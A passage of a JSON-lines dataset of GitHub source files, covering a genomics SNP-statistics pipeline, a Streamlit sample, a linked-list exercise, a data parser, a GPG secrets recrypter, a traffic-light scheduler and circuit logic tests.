):\n    \"\"\"Define rules to identify replicas meeting common conditions such as all/lo/hi freq\"\"\"\n\n    for scenario in allScens:\n        pr.addInvokeRule( invokeFn = identifyReplicasMeetingConds,\n                          invokeArgs = Dict( 'Ddata scenario nreplicas thinSfx',\n                                             replicaTables = ( 'replicaStats', ),\n                                             replicaConds = ( ( 'all', 'True' ),\n                                                              ( 'hi', 'replicaStats.causalAlleleFreq >= .5' ),\n                                                              ( 'lo', 'replicaStats.causalAlleleFreq < .5' ) ),\n                                             condsFileFN = 'commonReplicaConds.tsv' ) )\n                          \n    \ndef splitSnpStatsFile( Ddata, scenario, inFileFN, condsFileFN, condNames, thinSfx = '',\n                       replicaColName = 'Chrom', sfx = '', getio = None ):\n    \"\"\"Split a file containing per-snp data for all replicas, into separate files containing the same data for each\n    kind of replica.\"\"\"\n\n    if not os.path.dirname( inFileFN ): inFileFN = os.path.join( Ddata, scenario.scenDir(), inFileFN )\n    if not os.path.dirname( condsFileFN ):\n        condsFileFN = os.path.join( Ddata, 'replicastats' + thinSfx, scenario.scenDir(), condsFileFN )\n\n    outFileFNs = [ AddFileSfx( inFileFN, sfx, condName ) for condName in condNames ]\n\n    if getio: return dict( depends_on = ( inFileFN, condsFileFN ),\n                           creates = outFileFNs, mediumRuleNameSfx = scenario.scenDir() )\n\n    condsFile = IDotData( condsFileFN )\n    inFile = IDotData( inFileFN )\n\n    with contextlib.nested( *map( functools.partial( IDotData.openForWrite, headings = inFile.headings ),\n                                  outFileFNs ) ) as outFiles:\n\n        for (replica, replicaRows), condValues in izip( inFile.groupby( replicaColName, multiPass = False ), condsFile ):\n\n            assert condValues.replicaNum == replica\n\n            # if this replica matches more than one condition, save the replica rows so we can iterate over them more\n            # than once\n            if sum( condValues[ condNames ] ) > 1: replicaRows = tuple( replicaRows )\n\n            for condName, outFile in zip( condNames, outFiles ):\n                if condValues[ condName ]: outFile.writeRecords( replicaRows )\n\n\n                    \ndef joinSnpStatsFiles( Ddata, scenario, outFileFN, condNames, condsFileFN, thinSfx = '',\n                       replicaColName = 'Chrom', sfx = '', getio = None ):\n    \"\"\"Join several per-snp stats files, each containing data for some of the replicas,\n    into a single file containing data for all the replicas.\n    \"\"\"\n\n    if not os.path.dirname( outFileFN ): outFileFN = os.path.join( Ddata, scenario.scenDir(), outFileFN )\n    if not os.path.dirname( condsFileFN ): condsFileFN = os.path.join( Ddata, 'replicastats' + thinSfx, scenario.scenDir(),\n                                                                       condsFileFN )\n                                                                       \n    inFileFNs = [ AddFileSfx( outFileFN, sfx, condName ) for condName in condNames ]\n\n    if getio: return dict( depends_on = [ condsFileFN ] + inFileFNs, creates = outFileFN,\n                           mediumRuleNameSfx = scenario.scenDir() )\n\n    inFiles = map( IDotData, inFileFNs )\n    dbg( 'inFiles' )\n\n    condsFile = IDotData( condsFileFN )\n    groupIters = [ inFile.groupby( replicaColName ) for inFile in inFiles ]\n\n    def getBlocks():\n\n        for r in condsFile:\n            for condName, groupIter in zip( condNames, groupIters ):\n                if r[ condName ]:\n                    replicaNum, replicaRows = next( groupIter )\n                    assert replicaNum == r.replicaNum\n                    yield replicaRows\n                    break\n\n    IDotData.vstackFromIterable( getBlocks() ).save( outFileFN )\n\ndef ScenAttrs( scen ):\n    \"\"\"Make a dictionary describing the attributes of a scenario\"\"\"\n    scenAttrs = dict( scen = scen, is_neutral = scen.is_neutral(), isNeutral = scen.isNeutral() )\n    if not scen.is_neutral(): scenAttrs.update( mutAge = scen.mutAge,\n                                                mutPop = scen.mutPop,\n                                                mutFreq = scen.mutFreq )\n    return scenAttrs\n\n\n    \ndef scatterPlotReplicaStatistic( Ddata, nreplicas, replicaStatX,\n                                 replicaStatY,\n                                 outFile,\n                                 thinSfx = '', \n                                 scenCond = 'True',\n                                 replicaTables = (), replicaCond = 'True',\n                                 replicaColorings = (),\n                                 replicaDefaultColor = 'b',\n                                 replicaShow = None,\n                                 allScens = tuple( GetScenarios() ), nameSfx = '',\n                                 scen2sfxs = {},\n                                 title = '', subtitle = '',\n                                 highlightScen = None, highlightReplica = None,\n                                 xbound = None, ybound = None,\n                                 getio = None ):\n    \"\"\"Draw a scatter plot where for each replica we have a pair of values.\n\n    \"\"\"\n\n    args = Dict( 'Ddata thinSfx replicaTables scenCond scen2sfxs replicaCond allScens' )\n    if getio: return dict( depends_on = findReplicasMatchingConds( getio = True, **args )[ 'depends_on' ],\n                           creates = outFile,\n                           name = 'scatterPlotReplicaStatistic' + Sfx( nameSfx ),\n                           mediumRuleNameSfx = ( replicaStatX, replicaStatY ), attrs = dict( piperun_short = True ) )\n\n    x = []\n    y = []\n    urls = []\n    nskipped = 0\n    colors = []\n\n    if IsSeq( replicaShow ): replicaShow = '\"_\".join(map(str,[\"%.2f\" % v if isinstance(v,float) else v for v in (' + ','.join( map( str, replicaShow ) ) + ')]))'\n    \n    for r in findReplicasMatchingConds( showHeadings = ( 'valX', 'valY', 'valShow' ) + tmap( operator.itemgetter( 0 ),\n                                                                                             replicaColorings ),\n                                        showVals = ( replicaStatX, replicaStatY,\n                                                     replicaShow if replicaShow is not None else '0' ) +\n                                        tmap( operator.itemgetter( 1 ), replicaColorings ),\n                                        **args ):\n        x.append( r.valX )\n        y.append( r.valY )\n        urls.append( '%s_%d_x=%s_y=%s' % ( r.scenario, r.replicaNum,\n                                           '%.2f' % r.valX if isinstance( r.valX, float ) else r.valX,\n                                           '%.2f' % r.valY if isinstance( r.valY, float ) else r.valY ) +\n                     ( ( '' if str( r.valShow).startswith('_') else '_' ) + str( r.valShow ) if replicaShow else '' ) )\n        if replicaColorings:\n            colorHere = None\n            for name, cond, color in replicaColorings:\n                if r[ name ]:\n                    colorHere = color\n                    break\n            colors.append( colorHere if colorHere is not None else replicaDefaultColor )\n\n    pp.scatter( **Dict( 'x y urls', c = colors if colors else 'b' ) )\n    pp.axis( 'equal' )\n\n    if xbound: pp.gca().set_xbound( *xbound )\n    if ybound: pp.gca().set_ybound( *ybound )\n\n    if not xbound and not ybound:\n        start = min( min(x), min(y) )\n        rng = max( max( x ) - min( x ), max(y) - min(y) )\n        pp.plot( [ start, start+rng ], [ start, start+rng ], 'g--' )\n        \n    pp.xlabel( replicaStatX )\n    pp.ylabel( replicaStatY )\n    if title: pp.title( title )\n    pp.savefig( outFile )\n\ndef findTableFiles( Ddata, thinSfx, whichStats, tables, scenCond, allScens, scen2sfxs ):\n    \"\"\"Return table files used in conditions\"\"\"\n\n    tables = MakeSeq( tables )\n    scen2sfxs = dict( scen2sfxs )\n    \n    scenCondExpr = compile_expr( scenCond )\n    ourScens = [ scen for scen in allScens if eval( scenCondExpr, globals(), ScenAttrs( scen ) ) ]\n\n    depends_on = []\n    scen2table2file = {}\n\n    for scen in ourScens:\n        thisScenDict = {}\n        for table in tables:\n            # identify the scenario-specific suffix for this table\n            scenSfx = DictGet( scen2sfxs, scen, '' )\n            if scenSfx:\n                if IsSeq( scenSfx ): scenSfx = dict( scenSfx )\n                if not isinstance( scenSfx, types.StringTypes ): scenSfx = DictGet( dict( scenSfx ),\n                                                                                    os.path.splitext( table )[0], '' )\n            \n            tableFile = os.path.join( Ddata, whichStats+ thinSfx, scen.scenDir(),\n                                             AddFileSfx( table + ( '.tsv' if '.' not in table else '' ),\n                                                         scenSfx )\n                                             + ( '/' if table.endswith( '.data' ) else '' ) )\n            depends_on.append( tableFile )\n            thisScenDict[ table ] = tableFile\n        scen2table2file[ scen ] = thisScenDict\n\n    tableNames = map( operator.itemgetter( 0 ), map( os.path.splitext, tables ) )\n    return tableNames, tables, ourScens, scen2table2file, depends_on\n                \n\ndef FindChromCol( iDotData ):\n    \"\"\"Find the column representing the replica or chromosome, based on our conventions.\"\"\"\n    return 'replicaNum' if 'replicaNum' in iDotData.headings else ( 'Chrom' if 'Chrom' in iDotData.headings else 'chrom' )\n\ndef FindPosCol( iDotData ):\n    \"\"\"Find the column representing the SNP position, based on our conventions.\"\"\"\n    return 'Pos' if 'Pos' in iDotData.headings else 'pos'\n\n\nclass NameCollector(ast.NodeVisitor):\n    \"\"\"Gather table names used in an expression\"\"\"\n\n    def __init__(self):\n        self.names = []\n\n    def visit_Name(self, node):\n        self.names.append( node.id )\n\n    @staticmethod\n    def getNamesIn( expr ):\n        nc = NameCollector()\n        nc.visit( ast.parse( expr ) )\n        return tuple( set( nc.names ) )\n\ndef FindTables( *exprs ):\n    \"\"\"Find tables referenced in specified expressions\"\"\"\n\n    return tuple( set( reduce( operator.concat, map( NameCollector.getNamesIn, exprs ) ) ) - set( ( 'True', 'False' ) ) )\n    \n\ndef findReplicasMatchingConds( Ddata, \n                               replicaTables = None, replicaCond = 'True',\n                               outFile = None,\n                               scenCond = 'True',\n                               showHeadings = (),\n                               showVals = (),\n                               allScens = GetScenarios(),\n                               scen2sfxs = {},\n                               thinSfx = '',\n                               getio = None ):\n    \"\"\"Make an IDotData containing specified per-replica values for replicas meeting specified conditions.\"\"\"\n\n    dbg( '\"findReplicasMatchingConds\" scenCond replicaTables replicaCond showHeadings showVals scen2sfxs' )\n\n    if replicaTables is None: replicaTables = FindTables( replicaCond, *MakeSeq( showVals ) )\n\n    replicaTables = tuple( set( MakeSeq( replicaTables ) ) )\n    \n    replicaTableNames, replicaTables, ourScens, scen2table2file, depends_on = \\\n        findTableFiles( whichStats = 'replicastats', tables = replicaTables,\n                        **Dict( 'Ddata thinSfx scenCond allScens scen2sfxs' ) )\n    \n    if getio: return dict( depends_on = depends_on,\n                           creates = outFile,\n                           attrs = dict( piperun_short = True ) )\n\n    replicaCondExpr = compile_expr( replicaCond )\n    showVals = MakeSeq( showVals )\n    showValsExpr = map( compile_expr, showVals )\n    if not showHeadings:\n        showHeadings = map( MakeAlphaNum, showVals )\n        showHeadings2 = []\n        for h in showHeadings:\n            h_new = h\n            i = 1\n            while h_new in showHeadings2:\n                h_new = h + Sfx( i )\n                i += 1\n            showHeadings2.append( h_new )\n        showHeadings = showHeadings2\n    \n    def makeResult():\n        yield ( 'scenario', 'replicaNum' ) + tuple( MakeSeq( showHeadings ) )\n\n        numReplicasSkippedTot, numReplicasAllowedTot = 0, 0\n        \n        for scen in ourScens:\n\n            logging.info( '\"findReplicasMatchingConds\" scen' )\n\n            numReplicasSkipped, numReplicasAllowed = 0, 0\n            \n            thisScenDict = scen2table2file[ scen ]\n            replicaTableVals = [ IDotData( thisScenDict[ replicaTable ] ) for replicaTable in replicaTables ]\n\n            for replicaTableRows in \\\n                    IDotData.TableIterInnerJoinAuxAsTuples( tableIters = map( iter, replicaTableVals ),\n                                                            cols = map( FindChromCol, replicaTableVals ),\n                                                            blanks = ( None, ) * len( replicaTableVals ),\n                                                            headingLens = map( IDotData.rootClass.numCols,\n                                                                               replicaTableVals ) ):\n\n                vdict = dict( zip( replicaTableNames, replicaTableRows ) )\n                dbg( 'scen vdict' )\n                    \n                evalHere = lambda expr: eval( expr, globals(), vdict )\n                if evalHere( replicaCondExpr ):\n                    numReplicasAllowed += 1\n                    yield [ scen.scenName(), replicaTableRows[0].replicaNum ] + map( evalHere, showValsExpr )\n                else:\n                    numReplicasSkipped += 1\n\n            dbg( '\"in_scenario\" scen numReplicasSkipped numReplicasAllowed' )\n            numReplicasSkippedTot += numReplicasSkipped\n            numReplicasAllowedTot += numReplicasAllowed\n\n        dbg( 'numReplicasSkippedTot numReplicasAllowedTot' )\n                    \n    r = IDotData.fromFn( makeResult )\n    if outFile: r.save( outFile )\n    return r\n\n\ndef findSnpsMatchingConds( Ddata, \n                           snpTables = (), snpCond = 'True', replicaTables = (), replicaCond = 'True',\n                           outFile = None,\n                           scenCond = 'True',\n                           showHeadings = (),\n                           showVals = (),\n                           allScens = GetScenarios(),\n                           scen2sfxs = {},\n                           thinSfx = '',\n                           getio = None ):\n    \"\"\"Make an IDotData containing specified per-replica values for SNPs meeting specified conditions in\n    replicas meeting specified conditions.\"\"\"\n\n    snpTables = tuple( set( MakeSeq( snpTables ) ) )\n    \n    dbg( '\"findSnpsMatchingConds\" scenCond snpTables snpCond replicaTables replicaCond showHeadings showVals '\n         'scen2sfxs' )\n\n    replicaArgs = Dict( 'Ddata thinSfx scenCond allScens scen2sfxs' )\n    snpTableNames, snpTables, ourScens, scen2table2file, depends_on = \\\n        findTableFiles( whichStats = 'snpStats', tables = snpTables, **replicaArgs )\n    \n    if getio: return dict( depends_on = depends_on + findTableFiles( whichStats = 'replicastats', tables = replicaTables,\n                                                                     **replicaArgs )[-1],\n                           creates = outFile )\n\n    snpCondExpr = compile_expr( snpCond )\n    showVals = MakeSeq( showVals )\n    showValsExpr = map( compile_expr, showVals )\n    if not showHeadings: showHeadings = map( MakeAlphaNum, showVals )\n\n    numSnpsSkippedTot, numSnpsAllowedTot = 0, 0\n\n    def makeResult():\n        yield ( 'scenario', 'replicaNum', 'Pos' ) + tuple( MakeSeq( showHeadings ) )\n        for scen in ourScens:\n\n            dbg( '\"findSnpsMatchingConds\" scen ')\n\n            numSnpsAllowed, numSnpsSkipped = 0, 0\n\n            replicasHere = findReplicasMatchingConds( **MergeDicts( replicaArgs, \n                                                                    Dict( 'replicaTables replicaCond scenCond',\n                                                                          allScens = ( scen, ) ) ) )\n\n            replicasHereSet = frozenset( replicasHere.replicaNum )\n            dbg( 'scen len(replicasHereSet) replicasHereSet' )\n\n            thisScenDict = scen2table2file[ scen ]\n            dbg( '#[ ( thisScenDict[ snpTable ] ) for snpTable in snpTables ]' )\n            snpTableVals = [ IDotData( thisScenDict[ snpTable ] ) for snpTable in snpTables ]\n\n            lastReplica = None\n            lastReplicaResult = None\n            replicaCol = FindChromCol( snpTableVals[ 0 ] )\n            posCol = FindPosCol( snpTableVals[ 0 ] )\n\n            numSnpsSkippedTot, numSnpsAllowedTot = 0, 0\n            \n            for snpTableRows in \\\n                    IDotData.TableIterInnerJoinAuxAsTuples( tableIters = map( iter, snpTableVals ),\n                                                            cols = zip( map( FindChromCol, snpTableVals ),\n                                                                        map( FindPosCol, snpTableVals ) ),\n                                                            blanks = ( None, ) * len( snpTableVals ),\n                                                            headingLens = map( IDotData.rootClass.numCols,\n                                                                               snpTableVals ) ):\n\n                thisReplica = snpTableRows[0][ replicaCol ]\n                if thisReplica != lastReplica:\n                    thisReplicaResult = ( thisReplica in replicasHereSet )\n                    if not thisReplicaResult: dbg( '\"SKIPPING_REPLICA\" thisReplica' )\n                    lastReplicaResult = thisReplicaResult\n                    lastReplica = thisReplica\n                    \n                if thisReplicaResult:\n                    localDict = dict( zip( snpTableNames, snpTableRows ) )\n                    evalHere = lambda expr: eval( expr, globals(), localDict )\n                    evalResult = evalHere( snpCondExpr )\n                    if evalResult:\n                        v = [ scen.scenName(), thisReplica, snpTableRows[0][ posCol ] ] \\\n                            + map( evalHere, showValsExpr )\n                        numSnpsAllowed += 1\n                        yield v\n                    else: numSnpsSkipped += 1\n            \n            numSnpsSkippedTot += numSnpsSkipped\n            numSnpsAllowedTot += numSnpsAllowed\n\n            dbg( 'scen numSnpsSkippedTot numSnpsAllowedTot' )\n\n        dbg( '\"finalCount\" numSnpsSkippedTot numSnpsAllowedTot' )\n\n    r = IDotData.fromFn( makeResult )\n    if outFile: r.save( outFile )\n    return r\n\n\ndef gatherCausalStat( Ddata, scenario, snpStatFN, replicaCol = 'Chrom', posCol = 'Pos', getio = None ):\n    \"\"\"Gather a specified per-SNP statistic just for the causal SNPs, and write them out as a replicastat.\n    \"\"\"\n\n    replicaStatFN = string.replace( snpStatFN, 'snpStats', 'replicastats', 1 )\n\n    if getio: return dict( depends_on = snpStatFN, creates = replicaStatFN, attrs = dict( scenario = scenario.scenDir() ) )\n\n    snpStatFile = IDotData( snpStatFN )\n    with IDotData.openForWrite( replicaStatFN, snpStatFile.headings ) as replicaStatFile:\n        for r in snpStatFile:\n            if r[ posCol ] == CAUSAL_POS:\n                replicaStatFile.writeRecord( r )\n\ndef DefineRulesTo_gatherCausalStat( pr, Ddata, scen2snpStatFN, posCol = 'Pos' ):\n    \"\"\"Define rules to gather a specified per-SNP statistic for the causal SNPs into a replica stat.\"\"\"\n\n    for scenario, snpStatFN in scen2snpStatFN.items():\n        pr.addInvokeRule( invokeFn = gatherCausalStat, invokeArgs = Dict( 'Ddata scenario snpStatFN posCol' ) )\n        \n        \n        \n\n    \n    \n","repo_name":"broadinstitute/cms","sub_path":"old/Operations/Ilya_Operations/SnpStats.py","file_name":"SnpStats.py","file_ext":"py","file_size_in_byte":54426,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"3"}
+{"seq_id":"15456746111","text":"import pandas as pd\nimport streamlit as st\n\n\n@st.cache_data\ndef load_data():\n    data = {\n        \"Animal\": [\"Lion\", \"Crocodile\", \"Elephant\", \"Giraffe\", \"Penguin\"],\n        \"Weight (kg)\": [190, 430, 5000, 800, 4],\n        \"Is Endangered\": [True, True, True, False, False],\n        \"Classification\": [\"Mammal\", \"Reptile\", \"Mammal\", \"Mammal\", \"Bird\"],\n        \"Average Lifespan (years)\": [12, 70, 70, 25, 20],\n        \"Habitat\": [\"Grassland\", \"Water\", \"Savannah\", \"Savannah\", \"Antarctica\"],\n    }\n    df = pd.DataFrame(data)\n    df[\"Classification\"] = df[\"Classification\"].astype(\"category\")\n    df[\"Habitat\"] = df[\"Habitat\"].astype(\"category\")\n    return df\n\n\ndf = load_data()\n\nst.data_editor(df, key=\"data_editor\", num_rows=\"dynamic\")\nst.write(\"Here's the session state:\")\nst.write(st.session_state[\"data_editor\"])\n","repo_name":"whitphx/stlite","sub_path":"packages/sharing-editor/public/samples/011_component_gallery/pages/data.data_editor4.py","file_name":"data.data_editor4.py","file_ext":"py","file_size_in_byte":815,"program_lang":"python","lang":"en","doc_type":"code","stars":757,"dataset":"github-code","pt":"3"}
+{"seq_id":"33157567412","text":"\"\"\"\n_328_OddEvenLinkedList\n\nGiven a linked list, we want to return the list with the odd index nodes first, and the even index nodes second,\n\n    e.g. 1 - 2 - 3- 4 - 5 - 6  becomes 1 - 3 - 5 - 2 - 4 - 6\n\nThis must be done in O(1) space complexity (ie we cannot just form two list and attach them, it must be done in place),\nand in O(n) time complexity.\n\n\n    Solution:\n        - We simply need to keep track of the end of the even list and the end of the odd lists\n\n            (O) - (E) - (O) - (E) - ...\n            o      e     i     i.next\n\n            o is odd list end, e is even list end and i is the next node to look at\n\n        In the general case:\n        - attach i.next to e.next and move e to e.next\n        - attach i to o.next and move o to o.next\n        - attach the head of the even list to the end of odd\n        - set i as the next term after the even list\n\n        We are done when i is None\n\n\"\"\"\n\n\nclass Node:\n\n    def __init__(self, val):\n        self.val = val\n        self.next = None\n\n\n# create linked list\ndef create_list():\n    head = Node(\"O\")\n    temp = head\n    for i in range(4):\n        temp.next = Node(\"E\")\n        temp.next.next = Node(\"O\")\n        temp = temp.next.next\n    return head\n\n\n# show initial list\ndef show_list(lst):\n    temp = list\n    while lst:\n        print(\"({})\".format(lst.val), end=\" -> \")\n        lst = lst.next\n    print()\n\n\n# sort evens and odds\ndef odd_even_list(lst):\n    if not lst:\n        return\n    o = lst\n    e = lst.next\n    while e and e.next:\n        i = e.next\n        e.next = i.next\n        e = e.next\n        i.next = o.next\n        o.next = i\n        o = o.next\n\n\ndef example1():\n    print(\"Linked List:\")\n    lst = create_list()\n    show_list(lst)\n    print(\"Sort List Even and Odd:\")\n    odd_even_list(lst)\n    show_list(lst)\n\n\ndef example2():\n    lst = Node(1)\n    temp = lst\n    for i in range(2, 10):\n        temp.next = Node(i)\n        temp = temp.next\n    print(\"Linked List:\")\n    show_list(lst)\n    print(\"Sorted Odd and Even:\")\n    odd_even_list(lst)\n    show_list(lst)\n\n\n","repo_name":"racullen403/Profile","sub_path":"Python/LeetCodeProblems/_328_OddEvenLinkedLists.py","file_name":"_328_OddEvenLinkedLists.py","file_ext":"py","file_size_in_byte":2058,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"69868788883","text":"import pandas as pd\nimport os.path as path\nfrom datetime import datetime, timedelta\nfrom typing import List\n\nAOT_DATA = None # cache the data in memory so readEverything() is only slow once\nAOT_DATA_CACHED = False # bool (whether or not data is cached or not)\n\n# read in the data\ndef readData(filepath : str) -> pd.DataFrame:\n    print(\"Reading in measurements...\")\n    df = pd.read_csv(filepath, parse_dates=[\"timestamp\"])\n    print(\"Read in all measurements!\")\n    return df\n\n# read in the list of nodes\ndef readNodes(filepath : str) -> pd.DataFrame:\n    print(\"Reading in node metadata...\")\n    df = pd.read_csv(filepath, parse_dates=[\"start_timestamp\", \"end_timestamp\"], index_col='node_id')\n    return df\n\n# reads in the data, reads in the nodes, returns a combined dataframe associates each measurement with a latitude, longitude, street address and description\ndef getData(processed_data_path : str = 'data/preprocessed_data.hdf5', data_path : str = 'data/data.csv', node_path : str = 'data/nodes.csv'):\n\n    global AOT_DATA, AOT_DATA_CACHED\n    if AOT_DATA_CACHED:\n        return AOT_DATA.copy()\n    elif path.exists(processed_data_path):\n        print(\"Reading cached preprocessed data...\")\n        df = pd.read_hdf(processed_data_path, key='df')\n        AOT_DATA = df\n        AOT_DATA_CACHED = True\n        return AOT_DATA\n    else:\n        data = readData(data_path)\n        nodes = readNodes(node_path)\n\n        # make empty dataframe\n        df = dict()\n\n        df['date'] = []\n        df['time'] = []\n        df['description'] = []\n        df['node_id'] = []\n        df['latitude'] = []\n        df['longitude'] = []\n        df['address'] = []\n        df['subsystem'] = []\n        df['sensor'] = []\n        df['parameter'] = []\n        df['value_hrf'] = []\n\n        print(\"Converting measurements to a dictionary...\")\n        measurements = data.to_dict('index')\n\n        print(\"Converting node data to a dictionary...\")\n        nodes_dict = nodes.to_dict('index')\n\n        print(\"Collecting new dataframe...\")\n        for m in measurements:\n            measurement = measurements[m]\n            node_id = measurement['node_id']\n            # store the node id\n            df['node_id'].append(node_id)\n\n            # store the timestamp\n            dt = measurement['timestamp']\n            time = dt.time()\n            date = dt.date()\n            df['date'].append(date)\n            df['time'].append(time)\n            \n            # attach node metadata\n            df['description'].append(nodes_dict[node_id]['description'])\n            df['address'].append(nodes_dict[node_id]['address'])\n            df['latitude'].append(nodes_dict[node_id]['lat'])\n            df['longitude'].append(nodes_dict[node_id]['lon'])\n\n            # attach measurement data\n            df['subsystem'].append(measurement['subsystem'])\n            df['sensor'].append(measurement['sensor'])\n            df['parameter'].append(measurement['parameter'])\n            df['value_hrf'].append(measurement['value_hrf'])\n        \n        print(\"Generating new dataframe...\")\n        df = pd.DataFrame.from_dict(df)\n        print(\"Writing new dataframe to cache location...\")\n        df.to_hdf(processed_data_path, key='df')\n        AOT_DATA = df\n        AOT_DATA_CACHED = True\n        return AOT_DATA","repo_name":"DavidFiumano/CS395_Analysis_Question_Display","sub_path":"data_parser.py","file_name":"data_parser.py","file_ext":"py","file_size_in_byte":3291,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"651919381","text":"import re\n\nimport encrypteddict\n\n\nclass Recrypter(encrypteddict.crypter):\n\n    PATTERN = re.compile(r'ENC\\[.*,.*\\]')\n\n    def decrypt_gpg_match_for_edit(self, value):\n        return f'DEC::(GPG)[{self.decrypt_match_group(value)}]'\n\n    def decrypt_all_for_edit(self, decrypt_this):\n        \"\"\"\n        A decryption mode that leaves in place the markers so that it will re-encrypt the same values.\n        \"\"\"\n        if type(decrypt_this) == str:\n            return self.PATTERN.sub(self.decrypt_gpg_match_for_edit, decrypt_this)\n        return self.decrypt_all(decrypt_this)\n\n    def encrypt_all(self, encrypt_this, recipients=None):\n        # Don't encrypt anything before the first document marker. This is to\n        # preserve the inital comment without encrypting any values -- i.e.\n        # instructional/howto comments\n        separator = '---\\n'\n        if isinstance(encrypt_this, str):\n            pos = encrypt_this.find(separator)\n            if pos != -1:\n                return encrypt_this[0:pos + len(separator)] + super().encrypt_all(encrypt_this[pos + len(separator):], recipients)\n        return super().encrypt_all(encrypt_this, recipients)\n\n    def encrypt_gpg(self, value, recipients):\n        # BugFix against upstream encrypteddict: it returns bytes, so was formatting wrong\n        val = super().encrypt_gpg(value, recipients)\n        if isinstance(val, bytes):\n            return val.decode('utf-8')\n        return val\n","repo_name":"ashb/gh-action-encrypted-secrets","sub_path":"encryptedsecrets/recrypter.py","file_name":"recrypter.py","file_ext":"py","file_size_in_byte":1447,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"40265496981","text":"import firebase\r\n\r\nclass ScheduledLight:\r\n    def __init__(self, light_id):\r\n\r\n        self.id = light_id\r\n\r\n        self.scheduleData = firebase.db.child(self.id).child(\"schedule\").get().val()[0] # only considers first schedule\r\n\r\n        self.offset = self.scheduleData[\"offset\"]\r\n        self.schedule = self.scheduleData[\"schedule\"]\r\n\r\n        self.cycleLength = 0\r\n        for event in self.schedule:\r\n            self.cycleLength += event[\"duration\"]\r\n\r\n    def getStatus(self, t):\r\n        timeToday = t % 86400    \r\n        sum = 0\r\n        status = \"\"\r\n        for event in self.schedule:\r\n            sum += event[\"duration\"]\r\n            if ((timeToday - self.offset) % self.cycleLength < sum):\r\n                status = event[\"status\"]\r\n                break\r\n        return status\r\n\r\ndef init_light(light_id, attempts):\r\n    print(\"Getting light data...\")\r\n    try:\r\n        target = ScheduledLight(light_id)\r\n        print(\"Successfully retrieved light data\")\r\n        return target\r\n    except:\r\n        if (attempts > 0):\r\n            print(\"Light data retrieval failed. Retrying...\")\r\n            init_light(light_id, attempts-1)\r\n        else:\r\n            print(\"Unable to get light data. Exiting...\")\r\n            exit()\r\n","repo_name":"elidewitt/signal-sight","sub_path":"traffic.py","file_name":"traffic.py","file_ext":"py","file_size_in_byte":1242,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"25528821649","text":"import unittest\nfrom itertools import product\nfrom random import randint\n\nimport circuitgraph as cg\n\n\nclass TestLogic(unittest.TestCase):\n    def test_half_adder(self):\n        ha = cg.logic.half_adder()\n\n        res = cg.sat.solve(ha, {\"x\": False, \"y\": False})\n        self.assertFalse(res[\"c\"])\n        self.assertFalse(res[\"s\"])\n\n        res = cg.sat.solve(ha, {\"x\": False, \"y\": True})\n        self.assertFalse(res[\"c\"])\n        self.assertTrue(res[\"s\"])\n\n        res = cg.sat.solve(ha, {\"x\": True, \"y\": False})\n        self.assertFalse(res[\"c\"])\n        self.assertTrue(res[\"s\"])\n\n        res = cg.sat.solve(ha, {\"x\": True, \"y\": True})\n        self.assertTrue(res[\"c\"])\n        self.assertFalse(res[\"s\"])\n\n    def test_full_adder(self):\n        fa = cg.logic.full_adder()\n        inputs = list(fa.inputs())\n        for values in product([False, True], repeat=3):\n            res = cg.sat.solve(fa, dict(zip(inputs, values)))\n            oup = sum(int(i) for i in values)\n            oup = cg.utils.int_to_bin(oup, 2)\n            self.assertEqual(bool(oup[0]), res[\"cout\"])\n            self.assertEqual(bool(oup[1]), res[\"s\"])\n\n    def test_adder(self):\n        for width in [2, 4, 6, 8]:\n            add = cg.logic.adder(width, carry_out=True)\n\n            a = randint(0, 2 ** width - 1)\n            b = randint(0, 2 ** width - 1)\n\n            enc_a = {\n                f\"a_{i}\": v\n                for i, v in enumerate(cg.utils.int_to_bin(a, width, lend=True))\n            }\n            enc_b = {\n                f\"b_{i}\": v\n                for i, v in enumerate(cg.utils.int_to_bin(b, width, lend=True))\n            }\n\n            result = cg.sat.solve(add, {**enc_a, **enc_b})\n            self.assertTrue(result)\n\n            enc_out = [result[f\"out_{i}\"] for i in range(width)]\n            enc_out.append(result[\"cout\"])\n            out = cg.utils.bin_to_int(enc_out, lend=True)\n            self.assertEqual(a + b, out)\n\n    def test_mux(self):\n        p = cg.logic.mux(5)\n        assumptions = {\n            \"in_0\": True,\n            \"in_1\": False,\n            \"in_2\": False,\n            \"in_3\": True,\n            \"in_4\": False,\n            \"sel_0\": False,\n            \"sel_1\": False,\n            \"sel_2\": False,\n        }\n        result = cg.sat.solve(p, assumptions)\n        self.assertTrue(result[\"out\"])\n\n        assumptions = {\n            \"in_0\": True,\n            \"in_1\": False,\n            \"in_2\": False,\n            \"in_3\": True,\n            \"in_4\": False,\n            \"sel_0\": True,\n            \"sel_1\": False,\n            \"sel_2\": False,\n        }\n        result = cg.sat.solve(p, assumptions)\n        self.assertFalse(result[\"out\"])\n\n        assumptions = {\n            \"in_0\": True,\n            \"in_1\": True,\n            \"in_2\": False,\n            \"in_3\": True,\n            \"in_4\": False,\n            \"sel_0\": True,\n            \"sel_1\": False,\n            \"sel_2\": False,\n        }\n        result = cg.sat.solve(p, assumptions)\n        self.assertTrue(result[\"out\"])\n\n    def test_popcount(self):\n        w = randint(1, 66)\n        p = cg.logic.popcount(w)\n\n        ins = [randint(0, 1) for i in range(w)]\n        enc_ins = {f\"in_{i}\": n for i, n in enumerate(ins)}\n\n        result = cg.sat.solve(p, enc_ins)\n        self.assertTrue(result)\n\n        enc_out = [result[f\"out_{i}\"] for i in range(cg.utils.clog2(w + 1))]\n        c = cg.utils.bin_to_int(enc_out, lend=True)\n        self.assertEqual(c, sum(ins))\n","repo_name":"circuitgraph/circuitgraph","sub_path":"tests/test_logic.py","file_name":"test_logic.py","file_ext":"py","file_size_in_byte":3431,"program_lang":"python","lang":"en","doc_type":"code","stars":85,"dataset":"github-code","pt":"3"}
